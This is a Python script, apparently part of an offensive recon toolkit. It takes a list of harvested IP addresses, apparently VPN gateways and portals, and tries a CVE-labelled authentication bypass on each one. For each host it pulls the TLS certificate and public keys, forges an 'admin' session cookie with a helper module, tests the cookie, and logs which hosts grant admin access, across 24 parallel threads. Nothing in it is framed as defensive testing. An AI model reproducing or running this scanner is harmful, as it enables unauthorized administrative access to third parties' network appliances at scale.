import sys, os, re, ssl, socket, time, json
from concurrent.futures import ThreadPoolExecutor
sys.path.insert(0, '/root/recon')
import forge_cookie as fc

socket.setdefaulttimeout(10)

SRC = '/root/recon/gp_hits.tsv'
OUT = '/root/recon/gp_cve0257b.tsv'
DONE = set()
if os.path.exists(OUT):
    for l in open(OUT):
        DONE.add(l.split('\t')[0])

ips = []
for line in open(SRC):
    p = line.split('\t')
    if not p or not p[0]:
        continue
    ip = p[0].strip()
    if ip in DONE or ip in ips:
        continue
    ips.append(ip)


def cn_of(ip):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        with socket.create_connection((ip, 443), timeout=8) as s:
            with ctx.wrap_socket(s, server_hostname=ip) as ss:
                der = ss.getpeercert(binary_form=True)
        import cryptography.x509 as x509
        c = x509.load_der_x509_certificate(der)
        for a in c.subject:
            if a.oid.dotted_string == '2.5.4.3':
                return a.value
    except Exception:
        pass
    return ''


def probe(ip):
    cn = cn_of(ip)
    try:
        certs = fc.get_all_public_keys(ip, 443)
    except Exception as e:
        return '%s\t%s\tERRKEYS\t%s' % (ip, cn, type(e).__name__)
    first = ''
    for cert in certs:
        try:
            ck = fc.forge_cookie(cert.public_key(), 'admin')
        except Exception:
            continue
        for ctxn in ('gateway', 'portal'):
            try:
                resp = fc.test_cookie(ip, 443, ck, 'admin', context=ctxn) or ''
            except Exception as e:
                resp = 'EXC ' + type(e).__name__
            if not first:
                first = (resp or '')[:200].replace('\t', ' ').replace('\n', ' ')
            if '<status>Success</status>' in resp or ('<argument>' in resp and 'admin' in resp):
                return '%s\t%s\tSUCCESS-%s\t%s' % (ip, cn, ctxn, resp[:300].replace('\t', ' ').replace('\n', ' '))
    return '%s\t%s\tFAIL\t%s' % (ip, cn, first)


f = open(OUT, 'a', buffering=1)
n = 0
with ThreadPoolExecutor(max_workers=24) as ex:
    for r in ex.map(probe, ips):
        f.write(r + '\n')
        n += 1
        if n % 50 == 0:
            print('done', n, flush=True)
print('finished', n, flush=True)
